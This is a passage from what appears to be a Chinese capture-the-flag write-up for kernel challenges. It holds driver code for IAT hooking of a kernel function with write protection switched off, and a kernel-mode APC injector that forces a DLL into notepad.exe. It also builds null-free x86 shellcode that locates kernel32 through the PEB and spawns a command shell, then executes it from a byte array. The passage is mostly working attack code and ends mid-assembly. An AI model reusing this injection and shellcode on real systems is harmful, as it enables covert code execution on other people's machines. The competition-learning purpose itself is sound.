char* functionName = (char*)( (BYTE*)hMod + (DWORD)thunk->u1.AddressOfData + 2 );
if (_stricmp(functionName, lpFunctionName) == 0 )
{
*pThunk = pImportDesc->FirstThunk;
*pRVA = x;
DbgPrint("%x",( DWORD *)((PBYTE)hMod +pImportDesc->FirstThunk)+x);
ZwClose(hSection);
return 1;
}
}
if(isOrdinal)
{
ZwClose(hSection);
return (DWORD) NULL;
}
x++;
thunk++;
firstThunkList++;
}
if(foundIt==FALSE)
{
ZwClose(hSection);
return 0;
}
ZwClose(hSection);
return 0;
}
NTSTATUS
MyPsGetCurrentProcessId()
{
DbgPrint("HOOK_PsGetCurrentProcessId called!
");
((PSGETCURRENTPROCESSID)(g_OriginalPsGetCurrentProcessId))();
}
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
if(NULL == g_FunctionInMemory || NULL == g_OriginalPsGetCurrentProcessId)
return;
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
*(PVOID*)g_FunctionInMemory = g_OriginalPsGetCurrentProcessId;
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
DWORD ret = 0;
DWORD RVA, Thunk;
char functionName[] = "PsGetCurrentProcessId";
char libraryName[] = "ntoskrnl.exe";
PVOID base = NULL;
base = GetDriverBaseAdress("ISCC2013Kernel4.sys");
if(NULL==base)
{
DbgPrint("base not found");
return STATUS_SUCCESS;
}
ret = GetFunctionRav(functionName, libraryName, &Thunk, &RVA );
if(0==ret)
{
DbgPrint("IATPointerRVA not found");
return STATUS_SUCCESS;
}
g_FunctionInMemory = (DWORD*)( (BYTE*)base + Thunk ) + RVA;
DbgPrint("the function adress in memory is:%x",g_FunctionInMemory);
if(NULL==g_FunctionInMemory)
{
DbgPrint("IATFunctionPointer not found");
return STATUS_SUCCESS;
}
g_OriginalPsGetCurrentProcessId = *(PVOID*)g_FunctionInMemory;
/*_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
*(PVOID*)g_FunctionInMemory = MyPsGetCurrentProcessId;
DbgPrint("HOOK SUCESS");
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}*/
if(NULL != g_FunctionInMemory && NULL != g_OriginalPsGetCurrentProcessId){
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
*(PVOID*)g_FunctionInMemory = PsGetCurrentProcessId;
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
}
DriverObject->DriverUnload = Unload;
return STATUS_SUCCESS;
}
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation, // 0 Y N
SystemProcessorInformation, // 1 Y N
SystemPerformanceInformation, // 2 Y N
SystemTimeOfDayInformation, // 3 Y N
SystemNotImplemented1, // 4 Y N
SystemProcessesAndThreadsInformation, // 5 Y N
SystemCallCounts, // 6 Y N
SystemConfigurationInformation, // 7 Y N
SystemProcessorTimes, // 8 Y N
SystemGlobalFlag, // 9 Y Y
SystemNotImplemented2, // 10 Y N
SystemModuleInformation, // 11 Y N
SystemLockInformation, // 12 Y N
SystemNotImplemented3, // 13 Y N
SystemNotImplemented4, // 14 Y N
SystemNotImplemented5, // 15 Y N
SystemHandleInformation, // 16 Y N
SystemObjectInformation, // 17 Y N
SystemPagefileInformation, // 18 Y N
SystemInstructionEmulationCounts, // 19 Y N
SystemInvalidInfoClass1, // 20
SystemCacheInformation, // 21 Y Y
SystemPoolTagInformation, // 22 Y N
SystemProcessorStatistics, // 23 Y N
SystemDpcInformation, // 24 Y Y
SystemNotImplemented6, // 25 Y N
SystemLoadImage, // 26 N Y
SystemUnloadImage, // 27 N Y
SystemTimeAdjustment, // 28 Y Y
SystemNotImplemented7, // 29 Y N
SystemNotImplemented8, // 30 Y N
SystemNotImplemented9, // 31 Y N
SystemCrashDumpInformation, // 32 Y N
SystemExceptionInformation, // 33 Y N
SystemCrashDumpStateInformation, // 34 Y Y/N
SystemKernelDebuggerInformation, // 35 Y N
SystemContextSwitchInformation, // 36 Y N
SystemRegistryQuotaInformation, // 37 Y Y
SystemLoadAndCallImage, // 38 N Y
SystemPrioritySeparation, // 39 N Y
SystemNotImplemented10, // 40 Y N
SystemNotImplemented11, // 41 Y N
SystemInvalidInfoClass2, // 42
SystemInvalidInfoClass3, // 43
SystemTimeZoneInformation, // 44 Y N
SystemLookasideInformation, // 45 Y N
SystemSetTimeSlipEvent, // 46 N Y
SystemCreateSession, // 47 N Y
SystemDeleteSession, // 48 N Y
SystemInvalidInfoClass4, // 49
SystemRangeStartInformation, // 50 Y N
SystemVerifierInformation, // 51 Y Y
SystemAddVerifier, // 52 N Y
SystemSessionProcessesInformation // 53 Y N
} SYSTEM_INFORMATION_CLASS;
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef unsigned long DWORD;
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
typedef IMAGE_OPTIONAL_HEADER32 IMAGE_OPTIONAL_HEADER;
typedef PIMAGE_OPTIONAL_HEADER32 PIMAGE_OPTIONAL_HEADER;
typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString; // PBYTE
DWORD Function; // PDWORD
DWORD Ordinal;
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 IMAGE_THUNK_DATA;
typedef PIMAGE_THUNK_DATA32 PIMAGE_THUNK_DATA;
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date ime stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory
typedef unsigned char *PBYTE;
typedef struct _GENERATE_NAME_CONTEXT {
USHORT Checksum;
BOOLEAN CheckSumInserted;
UCHAR NameLength;
WCHAR NameBuffer[8];
ULONG ExtensionLength;
WCHAR ExtensionBuffer[4];
ULONG LastIndexValue;
} GENERATE_NAME_CONTEXT, *PGENERATE_NAME_CONTEXT;
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
#define SEC_IMAGE 0x01000000
#define SEC_BASED 0x00200000
typedef struct _SECTION_IMAGE_INFORMATION {
PVOID EntryPoint;
ULONG StackZeroBits;
ULONG StackReserved;
ULONG StackCommit;
ULONG ImageSubsystem;
WORD SubsystemVersionLow;
WORD SubsystemVersionHigh;
ULONG Unknown1;
ULONG ImageCharacteristics;
ULONG ImageMachineType;
ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL
);
进程注入
思路是PsSetLoadImageNotifyRoutine回调函数,枚举所有进程再加上PAC注入。
#include <ntddk.h>
#define MAX_PID 65535
/////////////////////////////////////////////////////////////////////////////////////////////////////////
NTSTATUS
InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess);
void ApcCreateProcessEnd();
void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2);
typedef enum
{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
} KAPC_ENVIRONMENT;
typedef struct _KAPC_STATE {
LIST_ENTRY ApcListHead[MaximumMode];
struct _KPROCESS *Process;
BOOLEAN KernelApcInProgress;
BOOLEAN KernelApcPending;
BOOLEAN UserApcPending;
} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE;
VOID
KeInitializeApc (
PKAPC Apc,
PETHREAD Thread,
KAPC_ENVIRONMENT Environment,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ProcessorMode,
PVOID NormalContext
);
BOOLEAN
KeInsertQueueApc (
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
NTSTATUS
PsLookupProcessByProcessId(
HANDLE ProcessId,
PEPROCESS *Process
);
UCHAR *
PsGetProcessImageFileName(
PEPROCESS Process
);
VOID
KeStackAttachProcess (
IN PVOID Process,
OUT PRKAPC_STATE ApcState
);
VOID
KeUnstackDetachProcess(
IN PRKAPC_STATE ApcState
);
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//=======================================================================================//
// InjectDll遍历进程,得到根据名字找到我们想要注入的进程,得到进程后遍历线程.找受信??线程序//
//注意这里ETHREAD我是用XP..在其他操作系统可能一些偏移不同 //
//======================================================================================//
void InjectDll(LPSTR DllFullPath,ULONG pid)
{
//全部定义为ULONG类型
ULONG pTargetProcess;
ULONG pTargetThread;
ULONG pNotAlertableThread;
ULONG pSystemProcess;
ULONG pTempThread;
ULONG pNextEntry, pListHead, pThNextEntry,pThListHead;
PEPROCESS EProcess;
NTSTATUS status;
status = PsLookupProcessByProcessId((HANDLE)pid,&EProcess);
if((NT_SUCCESS(status)))
{
pSystemProcess=(ULONG)EProcess;
pTargetProcess =pSystemProcess;
pTargetThread = pNotAlertableThread = 0;
pThListHead = pSystemProcess+0x50;
pThNextEntry=*(ULONG *)pThListHead;
while(pThNextEntry != pThListHead)
{
pTempThread =pThNextEntry-0x1b0; //ETHREAD
if(*(char *)(pTempThread+0x164)) //受信??
{
pTargetThread =pTempThread;
break;
}
else
{
pNotAlertableThread =pTempThread;
}
pThNextEntry = *(ULONG *)pThNextEntry;
break;
}
}
if(!pTargetProcess)
return;
if(!pTargetThread)
pTargetThread = pNotAlertableThread;
if(pTargetThread)
{
InstallUserModeApc(DllFullPath,pTargetThread,pTargetProcess);
}
else
DbgPrint(" No thread found!");
}
static HANDLE oldPid;
static HANDLE newPid;
VOID Work (
PUNICODE_STRING FullImageName,
HANDLE ProcessId, // where image is mapped
PIMAGE_INFO ImageInfo
)
{
PEPROCESS EProcess;
char *FileName = NULL;
PsLookupProcessByProcessId((HANDLE)ProcessId, &EProcess);
FileName = (char *)PsGetProcessImageFileName(EProcess);
if((strcmp(FileName, "notepad.exe") == 0) || (strcmp(FileName, "notepad") == 0))
{
newPid = ProcessId;
KdPrint(("old pid is %d. ", oldPid));
if(oldPid != newPid)
{
oldPid = newPid;
KdPrint(("%d %s
", newPid,FileName));
InjectDll("c:\InjectDLL.dll",(ULONG)ProcessId );
}
}
}
//释放InstallUserModeApc中分配的内存,一个内核例程
PMDL pMdl = NULL;
void ApcKernelRoutine( IN struct _KAPC *Apc,
IN OUT PKNORMAL_ROUTINE *NormalRoutine,
IN OUT PVOID *NormalContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2 )
{
if (Apc)
ExFreePool(Apc);
if(pMdl)
{
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
pMdl = NULL;
}
DbgPrint("ApcKernelRoutine called. Memory freed.");
}
//安装APC,首先是把我们要在用户执行的代码映射带用户态的空间MmMapLockedPagesSpecifyCache
//因为loadlibrary所要用到的参数我们不可能直接用内核的数据....因为它只能在用户态执行,不能访问内核空间,所以我们要把参数做下处理
// memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);
// memcpy ((unsigned char*)pMappedAddress + 0x14, DllFullPath,strlen ( DllFullPath));
// data_addr = (ULONG*)((char*)pMappedAddress+0x9);
// *data_addr = dwMappedAddress+0x14;
NTSTATUS
InstallUserModeApc(LPSTR DllFullPath, ULONG pTargetThread, ULONG pTargetProcess)
{
PRKAPC pApc = NULL;
PVOID pMappedAddress = NULL;
ULONG dwSize = 0;
KAPC_STATE ApcState;
ULONG *data_addr=0;
ULONG dwMappedAddress = 0;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
if (!pTargetThread || !pTargetProcess)
return STATUS_UNSUCCESSFUL;
///////////////////////////////////////////////////////////////////////////////////////////////////////////
pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
if (!pApc)
{
DbgPrint("Failed to allocate memory for the APC structure");
return STATUS_INSUFFICIENT_RESOURCES;
}
dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess;
pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
if (!pMdl)
{
DbgPrint(" Failed to allocate MDL");
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
__try
{
MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Exception during MmProbeAndLockPages");
IoFreeMdl (pMdl);
ExFreePool (pApc);
return STATUS_UNSUCCESSFUL;
}
KeStackAttachProcess((ULONG *)pTargetProcess,&ApcState);//进入目标进程的上下文
pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);
if (!pMappedAddress)
{
DbgPrint("Cannot map address");
KeUnstackDetachProcess (&ApcState);
IoFreeMdl (pMdl);
ExFreePool (pApc);
return STATUS_UNSUCCESSFUL;
}
else
DbgPrint("UserMode memory at address: 0x%p",pMappedAddress);
dwMappedAddress = (ULONG)pMappedAddress;
/////////////////////////////////////////////////////////////
//0x14注意后面的ApcCreateProcess..有改其他函数的话这俩个地方都注意下
memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);//zero everything out ecxept our assembler code
memcpy ((unsigned char*)pMappedAddress + 0x14, DllFullPath,strlen ( DllFullPath)); //copy the path to the executable
data_addr = (ULONG*)((char*)pMappedAddress+0x9);
*data_addr = dwMappedAddress+0x14;
KeUnstackDetachProcess (&ApcState);
//初始化APC,插APC
KeInitializeApc(pApc,
(PETHREAD)pTargetThread,
OriginalApcEnvironment,
&ApcKernelRoutine,
NULL,
pMappedAddress,
UserMode,
(PVOID) NULL);
if (!KeInsertQueueApc(pApc,0,NULL,0))
{
DbgPrint("KernelExec -> Failed to insert APC");
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
ExFreePool (pApc);
return STATUS_UNSUCCESSFUL;
}
else
{
DbgPrint("APC delivered");
}
//使线程处于警告状态,注意不同操作系统的ETHREAD
if(!*(char *)(pTargetThread+0x4a))
{
*(char *)(pTargetThread+0x4a) = TRUE;
}
return 0;
}
__declspec(naked) void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
__asm
{ //我的机器的loadlibrary的地址
mov eax,0x7C801d77
nop//-------sysnap注:这些nop是保证前面 memset ((unsigned char*)pMappedAddress + 0x14, 0, 300);之类的正常:
//如果改成执行其他函数,注意这些NOP与前面的0x14之类的是否对应
nop
nop
push 0xabcd //因为用户程序无法访问内核空间,所以路径不能直接引用lpProcess
call eax
jmp end
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
end:
nop
ret 0x0c
}
}
void ApcCreateProcessEnd(){}
VOID Unload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Driver Unloaded");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING pRegistryPath)
{
//InjectDll("c:\InjectDLL.dll",0);
DbgPrint("Driver Entry");
PsSetLoadImageNotifyRoutine(Work);
DriverObject->DriverUnload = Unload;
return STATUS_SUCCESS;
}空壳
不会··呜呜呜····
3600
不会··呜呜呜····
扩展adore-ng
不会··呜呜呜····
开一个DOS窗口
这题需要写一个通用的shellcode,并且不能包含00,需要动态搜索kernel32.dll的基址
一切语言都是苍白无力的,还是上图来得实在。
这里的PEB是 Process Environment Block TEB 是Thread Environment Block
其中PEB中的成员LDR_DATA包含3个指针,这三个指针其实只想同一条链表,使用不同指针的时候偏移不同。
看了上面的图,应该就有大致思路了,来看寻找kernel32模块的一下汇编代码。
find_kernel32:
push esi
xor ecx, ecx
mov esi, [fs:ecx+0x30] //PEB = FS:0x30
mov esi, [esi + 0x0c] //LDR = PEB:0x0c
mov esi, [esi + 0x1c] //FLink = LDR:0x1c
next_module:
mov eax, [esi + 0x8] //函数返回时eax保存模块基址
mov edi,[esi+0x20] //指向BaseDllName
mov esi ,[esi] //这里是转移到链表的下一个
cmp [edi+12*2],cx //kernel32.dll 12*2个字节最后一位正好是00
jne next_module
pop esi
Ret这里是补全后的汇编代码
__asm{
find_kernel32:
push ecx
push esi
push edi
xor ecx, ecx
mov esi, fs:[ecx+0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov eax, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx
jne next_module
pop edi
pop esi
pop ecx
mov ebx,eax
//LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
sub esp,0ch
mov byte ptr[ebp-0Ch],6Dh //m
mov byte ptr[ebp-0Bh],73h //s
mov byte ptr[ebp-0Ah],76h //v
mov byte ptr[ebp-09h],63h //c
mov byte ptr[ebp-08h],72h //r
mov byte ptr[ebp-07h],74h //t
mov byte ptr[ebp-06h],2Eh //.
mov byte ptr[ebp-05h],64h //d
mov byte ptr[ebp-04h],6Ch //l
mov byte ptr[ebp-03h],6Ch //l
mov byte ptr[ebp-02h],0h
lea esi,[ebp-0Ch]
push esi
mov eax,ebx
add eax,1d7bh //得到LoadLibraryw地址
call eax
mov esp,ebp
pop ebp
mov ebx,eax //MSCCRT.dll句柄(地址)在ecx中
// system(start cmd );
push ebp
mov ebp,esp
xor eax,eax
sub esp,0ch
mov byte ptr[ebp-0Ch],73h //s
mov byte ptr[ebp-0Bh],74h //t
mov byte ptr[ebp-0Ah],61h //a
mov byte ptr[ebp-09h],72h //r
mov byte ptr[ebp-08h],74h //t
mov byte ptr[ebp-07h],20h //
mov byte ptr[ebp-06h],63h //c
mov byte ptr[ebp-05h],6Dh //m
mov byte ptr[ebp-04h],64h //d
mov byte ptr[ebp-03h],0h
lea esi,[ebp-0Ch]
push esi
mov eax,ebx
add eax,193c7h
call eax
mov esp,ebp
pop ebp
}转换成机器码后发现其中包含很多00,这里使用加加减减的原则给它吧00都去掉
其中mov byte ptr [ebp-2],0 换成 mov [ebp-2],cl 代码中cl恒为零
unsigned char shellcode[] = {
"x51x56x57x33xC9x64x8Bx71x30x8Bx76x0Cx8Bx76x1Cx8Bx46x08x8Bx7Ex20x8Bx36x66x39x4Fx18x75"
"xF2x5Fx5Ex59x8BxD8x55x8BxECx33xC0x83xECx0CxC6x45xF4x6DxC6x45xF5x73xC6x45xF6x76xC6x45"
"xF7x63xC6x45xF8x72xC6x45xF9x74xC6x45xFAx2ExC6x45xFBx64xC6x45xFCx6CxC6x45xFDx6C"
//"xC6x45xFEx00"
"x88x4DxFE"
"x8Dx75xF4x56x8BxC3"
"x05x7Cx1Ex01x01x2Dx01x01x01x01" //sub eax , 01010101
"xFFxD0x8BxE5x5Dx8BxD8x55x8BxECx33xC0x83xECx0C"
"xC6x45xF4x73xC6x45xF5x74xC6x45xF6x61xC6x45xF7x72xC6x45xF8x74xC6x45xF9x20xC6x45xFAx63"
"xC6x45xFBx6DxC6x45xFCx64"
//"xC6x45xFDx00"
"x88x4DxFD"
"x8Dx75xF4x56x8BxC3"
"x05xC8x94x02x01x2Dx01x01x01x01" //sub eax , 01010101
"xFFxD0x8BxE5x5D"
};最后在代码后面加上xC3应该就大功告成了,可是却显示了堆栈不平衡的报错,拿OD看了一下发现
最程序最后检查堆栈平衡的函数里,会拿esi和esp作比较来判断是否平衡,而在程序中我把esi拿去干别的了,却没有还原,导致报错。
在最后把esi还原一下就好啦~最终版本
#include "stdafx.h"
#include "windows.h"
#include "winsvc.h"
#include "string.h"
/*unsigned char shellcode[] = {
"x51x56x57x33xC9x64x8Bx71x3w0x8Bx76x0Cx8Bx76x1Cx8Bx46x08x8Bx7Ex20x8Bx36x66x39x4Fx18x75"
"xF2x5Fx5Ex59x8BxD8x55x8BxECx33xC0x83xECx0CxC6x45xF4x6DxC6x45xF5x73xC6x45xF6x76xC6x45"
"xF7x63xC6x45xF8x72xC6x45xF9x74xC6x45xFAx2ExC6x45xFBx64xC6x45xFCx6CxC6x45xFDx6C"
//"xC6x45xFEx00"
"x88x4DxFE"
"x8Dx75xF4x56x8BxC3"
"x05x7Cx1Ex01x01x2Dx01x01x01x01" //sub eax , 01010101
"xFFxD0x8BxE5x5Dx8BxD8x55x8BxECx33xC0x83xECx0C"
"xC6x45xF4x73xC6x45xF5x74xC6x45xF6x61xC6x45xF7x72xC6x45xF8x74xC6x45xF9x20xC6x45xFAx63"
"xC6x45xFBx6DxC6x45xFCx64"
//"xC6x45xFDx00"
"x88x4DxFD"
"x8Dx75xF4x56x8BxC3"
"x05xC8x94x02x01x2Dx01x01x01x01" //sub eax , 01010101
"xFFxD0x8BxE5x5DxC3"
};*/
unsigned char shellcode[] =
"x51x56x57x33xC9x64x8Bx71x30x8Bx76x0Cx8Bx76x1Cx8Bx46x08x8Bx7Ex20"
"x8Bx36x66x39x4Fx18x75xF2x8BxD8x55x8BxECx33xC0x83xECx0C"
"xC6x45xF4x6DxC6x45xF5x73xC6x45xF6x76xC6x45xF7x63xC6x45xF8x72xC6"
"x45xF9x74xC6x45xFAx2ExC6x45xFBx64xC6x45xFCx6CxC6x45xFDx6Cx88x4D"
"xFEx8Dx75xF4x56x8BxC3x05x7Cx1Ex01x01x2Dx01x01x01x01xFFxD0x8BxE5"
"x5Dx8BxD8x55x8BxECx33xC0x83xECx0CxC6x45xF4x73xC6x45xF5x74xC6x45"
"xF6x61xC6x45xF7x72xC6x45xF8x74xC6x45xF9x20xC6x45xFAx63xC6x45xFB"
"x6DxC6x45xFCx64x88x4DxFDx8Dx75xF4x56x8BxC3x05xC8x94x02x01x2Dx01"
"x01x01x01xFFxD0x8BxE5x5Dx5Fx5Ex59xC3";
typedef void (*MYPROC)(LPTSTR);
int main(int argc, char* argv[])
{
((void (*)())&shellcode)();
return 0;
__asm{
find_kernel32:
push ecx
push esi
push edi
xor ecx, ecx
mov esi, fs:[ecx+0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov eax, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx
jne next_module
mov ebx,eax
//LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
sub esp,0ch
mov byte ptr[ebp-0Ch],6Dh //m
mov byte ptr[ebp-0Bh],73h //s
mov byte ptr[ebp-0Ah],76h //v
mov byte ptr[ebp-09h],63h //c
mov byte ptr[ebp-08h],72h //r
mov byte ptr[ebp-07h],74h //t
mov byte ptr[ebp-06h],2Eh //.
mov byte ptr[ebp-05h],64h //d
mov byte ptr[ebp-04h],6Ch //l
mov byte ptr[ebp-03h],6Ch //l
mov [ebp-02h],cl
lea esi,[ebp-0Ch]
push esi
mov eax,ebx
add eax,01011e7ch //得到LoadLibraryw地址
sub eax,01010101h
call eax
mov esp,ebp
pop ebp
mov ebx,eax //MSCCRT.dll句柄(地址)在ecx中
// system(start cmd );
push ebp
mov ebp,esp
xor eax,eax
sub esp,0ch
